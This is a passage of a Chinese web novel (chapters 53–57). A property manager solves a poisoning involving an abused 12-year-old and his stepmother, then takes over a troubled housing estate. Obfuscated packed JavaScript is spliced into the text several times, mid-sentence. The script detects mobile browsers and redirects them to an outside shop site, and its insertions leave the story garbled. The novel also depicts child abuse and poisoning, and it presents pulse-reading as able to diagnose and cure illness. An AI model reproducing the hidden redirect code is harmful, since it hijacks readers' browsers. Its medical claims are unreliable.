“好！谢谢王叔叔。”武光耀稚气的童声，让王敬之很是受用。 王敬之做饭的工夫，我开始参观武大海的家，四下打量着有可能出现瓶子的地方。 我知道王敬之也一定在厨房那边寻找着。 在武光耀的房间，我看到照片墙上有很多照片，有一张吸引了我，里面是四个人，其中一个我认识，是廖文彬。 我指指照片问，“光耀，这里面的女的是你妈妈吗？” “对，前排最右边的是我妈妈，我妈妈很漂亮。她旁边的是文彬叔叔的爱人，后面是文彬叔叔和国瑞叔叔。” 原来，这些人都是旧相识，有的死了，有的健在，他们之间到底发生了什么呢？ 第五十三章 12岁孩子干的 “国瑞叔叔是谁呀？”我忽然想到这个名字很陌生，他应该是五兄弟中的一个。 “他是我妈妈公司的总经理。”光耀的记忆力真好，而且谁都认识。 总经理？这些人之间的关系果然错综复杂，我用手机拍下这张照片，转发给林翔一份。 王敬之做好了饭，两个菜一个汤，武光耀看着眼神都呆了，我给他盛了一碗饭，这孩子狼吞虎咽的吃着。 “光耀，慢点吃，叔叔给你做了很多呢，其它的在冰箱里，想吃在微波炉热热就能吃。” 王敬之对武光耀尤其温柔。 我看着武光耀吃饭的样子，心里不免伤感，这孩子应该总是饥一顿饱一顿的，没妈的孩子真可怜。 我不是很有滋味的吃着饭，心里想着好多事，最大的疑问就是刘才东跟这些人有什么关系。 然后就很自然的，一眼就看到了那个瓶子，就在门口鞋柜旁边的垃圾袋子里。 我紧张起来，虽然隔着袋子，但是我知道一定是那个瓶子。 王敬之知道我看到了啥，他太懂我了，根本不用任何提示。 “光耀，你自己慢慢吃，我和吕叔叔还有事，我们先走了。”王敬之起身要走。 我也赶紧跟上，“吃完以后自己刷碗可以吗？”我问。 “当然可以，我经常刷碗的，谢谢叔叔们今天来看我！”光耀一边吃一边跟我们道谢。 临出门的时候，我顺手拿起垃圾袋子出了门，到了楼下，我用事先准备好的口袋装好瓶子，准备第二天给林翔送去。 晚上在宿舍里睡不着，我来到王敬之的房间和他聊天。 “师哥，我还是觉得周萍投毒的可能性最大，你觉得呢？” “为什么不尽快处理瓶子呢？还扔在垃圾袋子里。”王敬之也是满腹疑问。 “不管怎么说，瓶子空了，武大海的化验结果也是敌敌畏中毒，那就是说投毒的要么就是周萍、要么就是武光耀。” 说出光耀的名字时，我心里很难受，如果真的是这个孩子，他了解自己做这件事情的严重后果吗？ 见到林翔的时候，他的表情很凝重，我知道一定是有不好的消息。 “周萍说，敌敌畏是武光耀放进水瓶里的，她亲眼看见的。”林翔说。 “怎么可能呢？武光耀还是个12岁的孩子，再说，他为什么要害自己爸爸？”我不信。 “周萍说，发现武光耀有这个举动之后，她很害怕，不敢再待在家里，她不知道这个12岁的小男孩还有这样的一面，她怕自己就是武光耀的下一个目标。”林翔说。 “你相信她说的话吗？”我问。 “我相信证据，今天我们会找武光耀过来问询，瓶子我交给检验那边的同事了。” 我看着林翔淡定的神态，心里替武光耀担忧。 “这件事如果没有证据证明周萍说谎，是不是就没办法定案？”我问。 “正常来说是这样的，周萍说是武光耀、武光耀否认或者指认是周萍，这些都不能作为直接证据定案，还缺少定性的东西。”林翔也惆怅的看着我。 “另外，还有个事我要和你说，赵明的尸检报告显示，他生前被囚禁过，有束缚伤，还有很多殴打伤，这些不太像是一个凶手可以完成的。”林翔说。 “你的意思是说，是团伙作案？”我的疑惑值被带动到极点。 “很有可能啊！现在就是没办法搞清楚，刘才东在这件事中处于一个什么位置？他为什么要陪女业主去名都？是不是两个人有什么不正当关系？” “不可能！绝对不可能！”我嚷起来。 “向荣，你稍安勿躁，这么激动干什么！在真相没大白之前，一切皆有可能。你是学过国学的，也了解人的心理，你怎么解释刘才东跟谢敏走的过近？还有他卡里入账的50万？” 我想起了李壮，被周萍姿色吸引，却还误以为是爱情，是啊，为什么刘才东就绝对不可能？ “老林，我现在心里很乱，没办法跟你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158121|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探讨这个。我会继续寻找刘才东的尸体，经过这段时间的查找，我发现开发荟萃亭的五兄弟、还有已经发现的这些死者，有很多未解之谜，了解一下他们的社会关系，应该有收获。尤其名都ktv那个许德生，直觉告诉我，他一定参与了。” 林翔看着笃定的我，拍拍我的肩膀，示意我不要激动，继续努力。 回去以后，我问王敬之：“师哥，武光耀投毒，你相信吗？” 王敬之也沉默了，不说话，也不回答我，我知道他是在替武光耀担忧。 “我感觉，如果是他干的，他也不是想害他爸爸。”王敬之给定了性。 “师哥，咱俩别在这猜了，看监控去，我就不信啥都看不到！”没有多一刻停留，我想找出真相的心情十分迫切。 如果是周萍撒了谎，说不定我查到的监控可以帮助那孩子洗脱嫌疑。 我找出了中秋晚会那天好几个点位的监控开始逐一查看，王敬之也帮我一起看。 功夫不负苦心人，有一个远角的点位确实很好的照到了武大海一家所在的位置。 但是因为灯光反衬的原因，递给武大 海水瓶的那只手有点模糊，看着确实是周萍递的，但是武光耀在中间坐着，手也在动。 难坏我了，而且现在周萍一口咬定说是武光耀干的，形势对孩子很不利。 没办法，我把监控录像py了一份给林翔，他们刑警队有专业人士，可以好好鉴别一下到底是谁递的水。 但其实，递水的人也未必是投毒的人，这个我心知肚明，该怎么办呢？ 武光耀去林翔那里接受问询，是我陪他去的，武光耀一点也不害怕，既淡定又沉稳，这个孩子确实有不为人知的一面。 等了很久，问询结束了，林翔示意我跟他到办公室。 坐下后我急急的问：“怎么样了？” 老林喝了一口水，有些难过的说：“武光耀说，是他投的毒，但是他并不是想害武大海，而是要害周萍。” 第五十四章 做局 在林翔的叙述中，我了解到了事情的经过。 武光耀自从亲妈失踪之后，就跟着武大海，武大海既当爹又当妈，只要是孩子想要的吃喝，就都给买，在周萍来之前，武光耀是幸福的。 周萍来到这个家之后，武大海觉得周萍花销大，每个月打零工的钱支撑不了一家三口的生活，就去投奔外地的朋友打工赚钱。 武光耀和周萍在一起生活之后，幸福就不再有了。 不但吃喝方面没有了之前的想要什么就有什么，还经常被周萍勒令干活。 打扫房间和刷碗是家常便饭，还要给自己洗衣服，有时候周萍的一些衣服，武光耀也帮着洗。 总之就是武大海走后这几年，武光耀迅速成长起来，几乎没有不会做的家务。 最让他害怕的是周萍的脾气，常常是不经意间，就惹她生气了，然后挨怼、挨踹，都很平常。 最痛苦的莫过于更严重的动手打，手打打不动了就随手抓起身边的东西打。 好多次都是鼻青脸肿的求饶，但是周萍不累不罢休。 有一天周萍拿回家一个瓶子，厉声吓唬武光耀，如果不听话或者把被打的事情告诉武大海，周萍就用瓶子里的东西毒哑他。 在一次周萍用敌敌畏做的喷雾毒死了一屋子的苍蝇蚊子之后，武光耀吓坏了，他知道了瓶子里的液体可以叫不喜欢的东西消失。 看晚会那一天，武光耀把敌敌畏倒进其中的一瓶矿泉水里，他想给周萍喝。 可是没成想，最后倒下的竟然是武大海。 我听完之后不禁唏嘘，孩子毕竟是孩子，做事懵懂，却害了最爱的人。 “不对啊，他想害周萍，怎么最后那瓶水变成武大海喝了？”我还是不理解。 “确实，这也是我的疑问。你给我的监控视频我看过，技术人员也做了分析，那瓶水是周萍递给武大海的没差。”林翔说。 “你的意思是说，周萍有可能知道瓶子里的水有毒？”我问。 “还有一种最不好办的情况，就是周萍说不知道瓶子里的水有毒。”林翔说。 我也想到了这一层，如果周萍承认的话，那就代表她有蓄意谋杀的动机，所以她不可能承认。 “光耀这个情况，会承担法律责任吗？”我又问。 “这要看检察院如何定性了。依我的经验判断，应该是按照未成年人的相关规定处理。” 我心里很不舒服，这件事里，武光耀是受害者，武大海是间接受害者，虽然武光耀的厄运是武大海带来的，但不至于去受被毒死的责罚。 周萍明明是施暴者，如果她知道瓶子里的水有毒，还要递给武大海，那她就是恶人，怎么可以让她免除惩罚呢？ “老林，这事儿，我不服。”我气呼呼的说，跟林翔之间早已经到了可以知无不言的程度。 “我知道你不服什么，但是没办法，我和你说过很多遍了，法律看重证据。” 我想了想说，我做一个局，你要帮我。 林翔眯起眼睛看我，“你小子，可不要让我犯错误。” 我给他递了个眼色，他立刻了然，他信任我就如同我相信他一样。 回到物业办公室，我第一时间找到李壮，看着瘪茄子一样的他，我问：“想不想立功？” 李壮来了精神，猛烈的点头，我知道他想雪耻。 “你去找周萍，然后和她说，武大海醒了，跟警察说要把全部的财产留给武光耀，还写了遗嘱。” 我递给李壮一支录音笔，让他全程录音。 “经理，你这是要做啥？”李壮还知道问问我。 “你小子，还有救，知道做事之前问问为什么。去吧，我不会害你的！”说完我又若有所思的看看李壮。 “怎么着？你对周萍的爱还没减少？还想着跟人家双宿双飞？” “经理，你就别逗我了，我知道她心里没我，之前都是在骗我的。如果我说现在对她一点感情都没有了，那是骗你。不过我相信我过段时间能走出来。”李壮实实在在的和我剖析自己。 这小子能培养，我就稀罕这样直率的，知错就改的。 “记得，你按照我说的和她说，千万要自然，千万要像真的一样，胜败就在你一举了。” 我又叮嘱了一遍，生怕李壮给我掉链子。 “放心，经理，我知道这件事很重要。”李壮拿着录音笔就去找周萍。 我带上王敬之一起去武大海的医院，走之前给林翔发了一条信息，“顺利推进”。 接近晚上的时候，周萍果然风风火火的来了医院，一切都在我的预料之中。 “武大海，你什么意思，你给我起来！”我跟王敬之、老林躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158122|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在卫生间里偷听。 “你别跟我装啊，你把财产都给你儿子了，那我跟你这几年算什么？”周萍开说。 周萍这点火就着、又急躁不知收敛的急脾气，就是我做局押的宝。 “这几年你不在家，我全程照顾你儿子，吃喝拉撒，还有上下学接送，还有温习功课，你在外边躲清静。你现在生命垂危了，竟然想的全是你儿子，我呢？你把我摆哪里？” 周萍坐在椅 子上忿忿的说着，她可能以为病房里只有她和武大海，所以她尽情的发泄。 “就你那个儿子，老可怕了，他干那事儿你要是知道了，你还能把财产都留给他不？” 我听到这句话以后，心脏开始狂跳，要来了！ “我告诉你，我第一个不同意你把财产都留给他，你如果不改，我就跟你没完！你想白玩我啊，没门！你儿子差点要了你的命，那点敌敌畏他都倒在瓶子里了，你还跟个傻子似的在这眯觉！” 我朝老林使了个眼色，老林朝我扬了扬手里的录音笔，然后推开卫生间的门走了出来。 “周萍，武大海还没醒，你知道武光耀在瓶子里兑了敌敌畏，为什么还要给武大海喝？”老林很严肃的问。 周萍彻底懵了，不知道该说什么好。 我和王敬之也走出来，冷冷的看着她，意思我们都听见了，不仅仅是老林听见了。 “怎么着啊？我是侥幸逃脱，我是受害者，你们怎么还冲我来了呢？毒不是我投的！”周萍开喊。 “你小声说话，这里是病房，喊什么喊！”老林一声喝令，周萍立刻没电了。 “你明知道瓶子里有毒药你还递给武大海，你这叫什么你知道吗？”老林问。 “不是我的事，不关我的事，是武光耀那孩子想害我，我看见他把敌敌畏倒在水瓶子里了，一直攥在手里等着我喝。我想自保有错吗？” 周萍被老林带走以后，我和王敬之留下来，我想给武大海把脉，看看他有没有醒过来的可能。 他的脉象微弱不规则，有间歇脉、绌脉现象。看着心脏监护仪，心跳倒是蛮稳定的，相信在医院的持续治疗下，苏醒过来是迟早的事。 我希望他可以醒过来，不仅仅是因为武光耀，还因为他是李文月失踪案件的知情人，知道了李文月的事，很有可能就找到了刘才东失踪的线索。 第五十五章 调派 还没能等到武光耀的事情有定论，我就接到了林皓的通知，集团并购了一家小型物业公司，在b市有两个楼盘，需要我们接管。 林皓第一时间就想到了我，“向荣，这次并购后接管过来的盘子，有一个比较难搞，你要帮我！捋顺以后，我给你发大红包。” “林老大，不要老是给我画饼好不好，难啃的骨头你都要给我。大红包？有多大？” “你想要多少随便填那种。” 我听着电话里林皓的许诺，确实有点心动，但是我知道，这个时候我不上，就没人能帮他上。 “林哥，说说吧，这块骨头具体有多难啃？”我想先听听情况。 “楼盘在市中心，老城区，物业公司换了好几家，从没有一个把规矩立住的。现在这个物业接管以后也没干起来，物业费常年收缴不齐，物业员工缩减到了几个，依旧是捉襟见肘发不出工资。上半年他们开发了地下停车场，指望用车位套牢业主交物业费，但是收效甚微。”林皓一口气说完，全是问题。 “林哥，我干不了，你那大包跟我没缘分。我现在这个锦源搞得好好的，你又让我走！” 我确实不想去，老城区、新物业最麻烦，出力不讨好那种。 “向荣，你咋还闹脾气了呢？最近咋的了？受委屈啦？今天下班来哥这，哥跟你喝点儿，咱俩交交心。”林皓开始感情攻势。 “林哥，我不爱喝酒，你要是真心疼我，你就别嚯嚯我。”我还是不妥协。 “今晚上来，把敬之也带来，就这么定了！”林皓说完就挂断了电话，气的我有苦难言说。 我和王敬之赶到林皓预定的饭店时，林皓早已经在等我们了。 林皓很热情的招呼我们，还拉着王敬之坐在他的身边。 “向荣，这么长时间没见，你好像又壮实了。我听说你最近搞了个投毒的事情，把业主给按在当场了啊？”林皓笑眯眯的问我。 林皓现在早已经是集团内举足轻重的人物了，管理权限半拉中国，我看着他跟我低眉顺眼、讨好的样子，心里有点过意不去。 “林哥，你现在当了这么大领导了，还请我吃饭！这一顿我请了，早该找你吃饭的，你升职以后一直没机会。”我赶紧表态，自己知道自己几斤几两。 “向荣，咱俩这关系没必要说这些客套的吧，我还是一个小物业经理的时候咱俩就一起并肩作战，咋的，现在我衔儿变了，就不能和以前一样了？”林皓还是实实在在的。 我被说的有点汗颜，觉得自己觉悟不够，是啊，林哥还是林哥。 “哥，对不住，我是觉着你现在这么大官儿了，找我吃饭，我有点受之有愧，这要是传出去，是不是不好？”我也实实在在。 “得！你可别跟我贫，我还不知道你啊，心里想的就摆在脸上，一点都不会掩饰。咱俩的关系，没那么多说法。今天就不冲着给你调派，私交上不也得吃饭么？还有敬之呢，我和他也好久没见了。”林皓又笑眯眯的看向王敬之。 “吕向荣，你就别装了，啥麻烦你没搞定过，咋的？就这么一个新老交接你就害怕啦？”王敬之竟然站在林皓那边。 我为难的看了看王敬之，他知道我想尽快查出刘才东的下落。 “林哥，吕向荣这小子，太仁义，他当兵时候的老班长失踪了，在他心里边就成病了，不找到真相不罢休那种，你别和他一样的。”王敬之替我解释。 林皓一边指挥服务员上菜，一边说：“这事我听说了，这事不是有警察嘛，你也不是公务人员，很多事你插不上手的，你办不了！听林哥话，该工作工作，你爸妈还等着跟你团聚呢！” 我静静的听着，老林戳中了我的软肋。 “等这个盘子捋顺了，收缴齐一年的物业费就行，集团就会分我股权，到时候我许你一套新房，把你爸妈接过来。”老林很严肃的承诺我。 我知道，他绝对不是快哒嘴的，他给我的承诺还没有不兑现过。 话说到这份上，我如果再推脱那就真的不识抬举了，何况我现在是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158123|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 编员工，肯定是集团指哪我就得去哪，哪能由得我来选，林皓是不希望用权力压我。 我没再说话，林皓看我不再顶牛了，笑哈哈的招呼我和王敬之吃菜、喝酒。 整个过程的氛围都很融洽，我们几个人还可以像早年刚认识时候一样，轻松的吃饭唠嗑。 “林哥，这个新接手的楼盘具体在什么位置？”我想了解的再多一些。 “在一环内，一共有八栋楼，六栋多层，两栋小高，小高是回迁户居多。就在那个挺有名的那个名都ktv旁边。”林皓说。 名都？我眼睛都直了，躲不掉、掉不掉！ “林哥，你放心，这地方我去定了！多难啃的骨头我都给你啃下来。” 王敬之知道我为啥表态，嘎嘎的笑起来，气得我在桌子下边踹了他两脚。 “向荣，怎么一听说名都，你连毛都顺了？谈恋爱了？我可和你说啊，咱们找对象可得找个正经人、会过日子的，别扯那些长得漂亮那些，没有用，山珍海味天天吃你也腻。” “我没有，谈啥恋爱啊，我啥也没有， 能给人家姑娘啥保障？是我师哥，跟那个名都老板的女儿聊的可好了。”我直接就把王敬之递了出去。 这下可蹴到王敬之肺管子上了，王敬之怒目圆睁的要打我，我转身就跑，林哥不知道具体啥情况，只好来回挡 那顿饭吃的，确实开心。 饭局散了以后的第二天，我就要去报道了，不开心了，没办法，只能去。 我看看李壮，跟他说：“你好好干，可千万别再被色诱了，攒点钱，找个正经姑娘结婚生孩子，多好。” 说完以后我发现，似乎每个当“哥”的都是这么教育小弟的。 “经理，你放心，我以后有啥事都和你先说，让你帮我参谋参谋，然后再做决定。从入行我就跟着你，现在你又要调走了，我心里难受的不行。” 我又何尝不是呢，亏得王敬之会跟我走，要不然，我也一定会舍不得到迈不动腿。 第五十六章 城中花园 新阵地叫城中花园，位置在市中心，闹中取静，地理位置和建筑设计上存在很多问题。 地理位置在市中心的原因，楼盘交通便利、人气旺盛，而且资源集中，风水学上认为这样有利于聚气和聚财。 小区四周的绿化做的很好，符合风水学中“依山傍水”的理想环境。 可是，业主的情况形成了强烈的反差，两栋回迁房的业主，购房款相对低，追求的还是较早的居住模式，只要物业把卫生搞好就行。 六栋商品房业主，花了昂贵的购房款买的房子，6、70的都有房贷在身，他们更加追求物业的档次、服务的质量，还有最关键的安全性。 但是因为一开始没打下好底儿，原住民被原来换的三届物业给搞怕了，也都开始冷漠的看待交物业费这件事，尽管你把园区面貌搞得多么好，他们依然麻不不仁的不买账。 如果问急了，他们就说：“前几拨物业收了钱人就跑了，还交？你们也跑了咋办？我们的钱也不是大风刮来的。” 给我怼的哑口无言。 我整理了一下现住全部业主的档案，发现有40是租客，愁的我头都大了。 工欲善其事必先利其器，我准备还是先整备我的队伍，然后是硬件设备，最后再搞情感攻势。 根据现在不盈利的客观情况，老林只给了我五个人的编制，还算我。 我掰了一下手指头，算上王敬之这个编外人员，六个人倒也够用，平时我24小时吃住在园区里，处理应急事情是没问题的。 另外四个人，工程维修和保安肯定是要有的，再加一个保洁，完了，客服只能我自己上了，先这样吧，等以后好起来再说。 等盈利了，保洁外包出去，保安自己管，应该就好过些。 工程和保洁人员都很顺利的找到了，家就住在附近，虽然年龄大一点，但是干活是不掺水的，也服管。 保安竟然不好找了，守着市中心，上下班这么方便的地理位置，竟然没有人应聘，问了几个人，都说嫌工资低。 有岁数大的想干，我还觉着不合适，住宅小区奇葩事情多，岁数大了盯着监控都容易打瞌睡，影响工作啊！ 正愁着，来了一个送上门的。 这个人特别高，目测能有一米九，但是他不壮，反倒是瘦，瘦到离远一看像个竹竿。 年纪也不小了，33岁还没结婚，头发留的很长，还染了乱七八糟的颜色，一双眼睛滴溜溜乱转，你一看他，他就瞅别处，一看他、就瞅别处，反正就是不敢看你就对了。 实话说，我根本没看上，我心目中的保安形象，即使不是我的py版，也得像李壮，历史干净，外表看着踏实。 这个样子的去跟业主沟通事情，那你是收保护费的还是保护业主的？ “你介绍一下自己，我们熟悉熟悉。”我想对付几个问题就把他打发走。 “我叫江怀洲，干保安有8、9年了，住宅小区、办公楼、工业厂房还有娱乐场所的保安我都干过，还获得过很多次的优秀员工奖励。去年在名都离的职，本来想找一个正规公司干，但是现在好机会不多，手里紧，所以想先找个物业保安干。消控证书我也有，消防演练这些我都行。” 听完他简短的介绍，我愣了一下，还真是人不可貌相，但是他说他从名都离职的。 “名都？旁边那家ktv吗？” “对，名都多有名啊，咱们城市就这么一家。”江怀洲看向我，眼神倒是清澈。 “那么有名你为什么离职？”我很想知道。 江怀洲眼神又开始闪躲了，挺大个个子，眼神飘忽让我十分不舒服。 “哎，我说，你能不能看着我说话？咱俩就聊这么几分钟，你这个眼神总飘。”我也很直接的指出问题。 江怀洲愣怔了一下，然后嘿嘿的笑了，这我倒是很意外，我以为他会不高兴。 他一笑，原来那种狡黠的样子立刻就没有了，俨然变成了一个憨憨。 “领导，如果我说了真实的离职原因，你还会给我机会入职吗？”他很诚恳的问我。 “总得看看是什么原因吧？你这么问我，我也没办法回答你。”我也诚恳的回。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158124|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他好像下了很大决心似的跟我说：“我跟保安经理打了一架，就辞职不干了。” 我惊讶于他的“诚实”，但是好奇心占了上风，尤其是我知道保安经理就是许德生。 “说详细一点，说完整，不要问一句说半句。”我又提出要求。 他倒是听话，也不反驳，开始讲述整个过程。 名都的保安队伍很壮大，分了四个组，江怀洲带其中的一队，下边管了3、4个人。其中三个组的工作任务都一样，实行轮班制，只有许德生亲自带的那一组，神神秘秘的，而且队伍里的人经常颐指气使的欺负其他人。 江怀洲看不过去，但是为了生计也不好发作，直到有一天，他忍无可忍了。 ktv这种地方不仅仅是男人的乐园，很多女人也愿意去，经常有一些失恋的、或者有其他什么伤心事儿的女人过去猛灌酒。 喝多以后，醉的不省人事，就倒在名都门口，只 要是江怀洲当班，他都会帮忙给她们的亲戚朋友打电话或者给她们安置到安全的地方。 有一天来了一个年纪不大的小姑娘，长的很漂亮，一起来的还有一男一女，结果她喝多了，一边喝一边哭，江怀洲马上下班交班了，看着她不免担忧会出状况。 接班的是许德生那一组，其中有一个保安叫柱子，平时为人流里流气，江怀洲看见过好多次他揩那些喝多女客人的油。 江怀洲看着盯着小姑娘的柱子，留了个心眼，蹲守在名都门口，等到快凌晨了，小姑娘被她两个朋友带出来，人已经像滩烂泥一样。 结果这两个朋友竟然没管她，径直打车走了，柱子走过来搂住小姑娘就往胡同里走。 “你站住！你要带她去哪？”江怀洲拦住他说。 “老江啊，你吓我一跳。怎么着，你也在这等这口呢？”柱子皮笑肉不笑。 “别跟我扯淡，你这是犯罪，赶紧给她家里打电话！”江怀洲一边说一边去拽柱子搂小姑娘的手。 “哎！老b灯，我是不是给你脸了？有你什么事儿？你给我滚！”柱子直接开骂。 第五十七章 月事精神病 江怀洲自然是不服软，用他的话说，他最恨这种占女人便宜的。 两个人后来大打出手，闹到了许德生那里。 江怀洲以为许德生分得清是非，这种事一旦败露，那就是名都的污点啊！ 结果许德生不但没责怪柱子，反倒是批评了江怀洲一顿，还说他违反公司纪律，打架斗殴，还要罚款500元。 江怀洲憋了一肚子火没处撒，直接就跟许德生干起来了，脸上也挂了彩。 我听完以后十分意外，想不到这个贼眉鼠眼的家伙还有这么正义的一面，当下就决定收了他。 “你来呢，可以，你的经验丰富，一个人至少顶仨。但是我要约法三章，你别看我这庙小，但是我后边的公司大，你可以去查查xx物业集团，咱们是正规公司，不是私人作坊，所以后方保障你是不需要担心的。” “当然，经理你说说哪三章？”江怀洲还是一副诚恳的表情。 “一，把你那头发给我好好理理，乱七八糟的颜色给我去喽，我管的保安那得有正直可信的样子；二，改掉你一说话就不敢看人的毛病，明明挺正直一个人，干啥总不敢正眼看人？三，遇到事儿第一时间必须先跟我汇报，不允许自己先出手，你能接受吗？” 我一口气说完，心里想，如果他不接受，那就只能再选别人了。 虽然我很想通过他了解许德生，说不定还能了解到刘才东的事，但是绝对不能以个人目的为先，现在这个盘子是公司的，选人决不能给公司选差了。 “没问题啊，这三样太简单了，今天下午我就都能弄利索。您要是同意，我明天就能来上班。”江怀洲很肯定的答应我。 我很满意，让他先去收拾自己，明天来报道。 人员配备齐以后，我开始摸排硬件设备，结果发现基础设施落后，尤其是车辆停放，停车位紧张的问题亟需解决。 我手里经费不多，大规模维护保养硬件设备实现起来很困难，只能一点点推进，先找极易发生安全隐患的进行维修或者更换，车位的问题确实得想想办法。 可是一切的改变光靠物业单方面努力是不行的，还需要业主配合，该如何将几百户业主动员起来统一行动呢？ 想来想去，还是要先推选出一个业主委员会来，作为物业和业主中间的桥梁，业委会太重要了。 我召集团队和王敬之一起开了个小会，把我的想法说了一下，然后给了他们两天的时间，务必摸清楚这园区里面谁的背景和实力可以胜任这个艰巨的任务。 一定要选常住的，租户不在范围内。利用这个间隙，我又跑了一趟社区和街道，跟他们搞好关系，顺便打听一下园区里面住户的情况。 城中花园所在的社区距离园区很近，而且还有几个人住在园区的回迁房，我到了以后打听他们负责人是谁，有人一眼就认出了我。 “你是城中花园新来的物业经理吧？咱们社区负责人姓刘，女的，今天她请假了，你赶得不巧。”一个工作人员热情的和我说。 “同志，谢谢你啊，你认识我？”我也挺好奇自己怎么在社区挂号了？ “我就住在城中花园，早就看见宣传栏里的照片了，你本人跟照片一样。” “哦哦，您住那儿啊，您住哪一栋哪个单元啊？”我想好好拉拉关系。 “我家是回迁房，在最后一排。” “哦，那您属于这一片的常住户了，对这一片得老熟悉了吧？” “还可以吧，如果你要问个路啥的，我应该都知道。”说完这句电话响了，她接电话。 我还想继续话题，就没走，站在那等她，她看我没走就加快了讲电话的速度。 结束通话后她问我还有什么事，我陪着笑脸说：“社区负责人，我应该叫刘姐吧？她明天能来么？实不相瞒，我有点事想跟她商量。” 这个工作人员很为难的看着我，然后还掰了掰手指头，一副犹豫的样子，欲言又止。 我可最受不了这样有话不说，还让你看到有话的，没忍住直接就问道：“同志，你是有啥为难的事儿？” 她看我直接问出来，有点不好意思，想了想像是做了很大决定似的说：“刘姐每个月都得请几天假，她身体有个怪病，没办法，一到那两天就请假。我也没算明白她哪天能来，你过两天再来问问吧。” 我如同坠入雾中，怪病？那两天？难不成是月经病？ “同志，我就是郎中，你跟我说说什么情况，说不定我能帮刘姐治好。” 那个工作人员眼睛都瞪大了瞅我，“你？你不是物业的吗？咋还成了郎中了？” 我嘿嘿一笑，“我的主业是物业，副业是郎中，而且我副业比主业干的还要好。” 工作人员恍然大悟，“我可以告诉你症状，但是至于细节和后续，你得亲自和刘姐聊。” 我点头称是，工作人员跟我说了个大概。 刘姐今年40岁左右，生了孩子以后，落个毛病，一到来月事的时候，就兴奋、躁闹、哭笑无常、思维散漫、反复重复一些词语，所以来月事的时候她只能请假，怕发病影响工作。 这几年经历各种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158125|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西医治疗 均无效，她也疲惫不堪。 原本工作能力挺强的，都干到了区委，但是因为这个病，机关内部怀疑她精神有问题，就没再往上提拔。 她自己倒也接受，家里负担不重，就请调到了社区，干一些相对轻松的工作。 我一听，有门啊，女人病我很拿手的，于是跟那个人说一个星期后我再来拜访刘姐。 一周后我如约而至，那个工作人员带我去见刘姐。 刘姐体态微微发福，皮肤很白，颧骨靠近太阳穴的位置有斑，嘴唇淡粉色，看这个面相我心里有了个大概的判断。 “刘姐你好，我是城中花园的物业经理吕向荣，很高兴认识您啊！” “你好，你今天来是？”刘姐直接切入主题。 “噢，没什么特殊的事情，主要是来咱们社区走动走动，熟悉一下。以后城中花园有什么事情还得靠社区的同志多支持。”我很客气的说。 “城中花园换了好几拨物业了，一开始的时候，大家觉得物业是个新鲜名词，都想看看有什么不一样，结果是次次被伤心。咱们同事就有住那边的。”刘姐不咸不淡的说。 “刘姐，我看你气色不是很红润，脸上还有斑，是不是气血方面有什么问题？”我准备征服她。 刘姐眼睛一亮，“你还会看病？” “小时候跟我姥爷学了很多年，对中医了解一点。刘姐瞅着问题还不小，你要是信得过，让我给你把把脉，如何？” 刘姐很爽快的把胳膊往我跟前一伸，“那太行了，我已经被折磨很多年了，你看看你能看出啥来？” 我安静下来开始切脉，脉象沉涩，跳动不流畅，伴有间歇，皮肤出现丝状红缕；看刘姐的舌头明显有紫色斑点、舌下络脉紫黑。 “刘姐，你这病喝中药调理一下能好，持续喝能根治。”我停下切脉的手跟她说。 “真的吗？你就按按脉搏、看看舌头就能知道？”她明显不信。 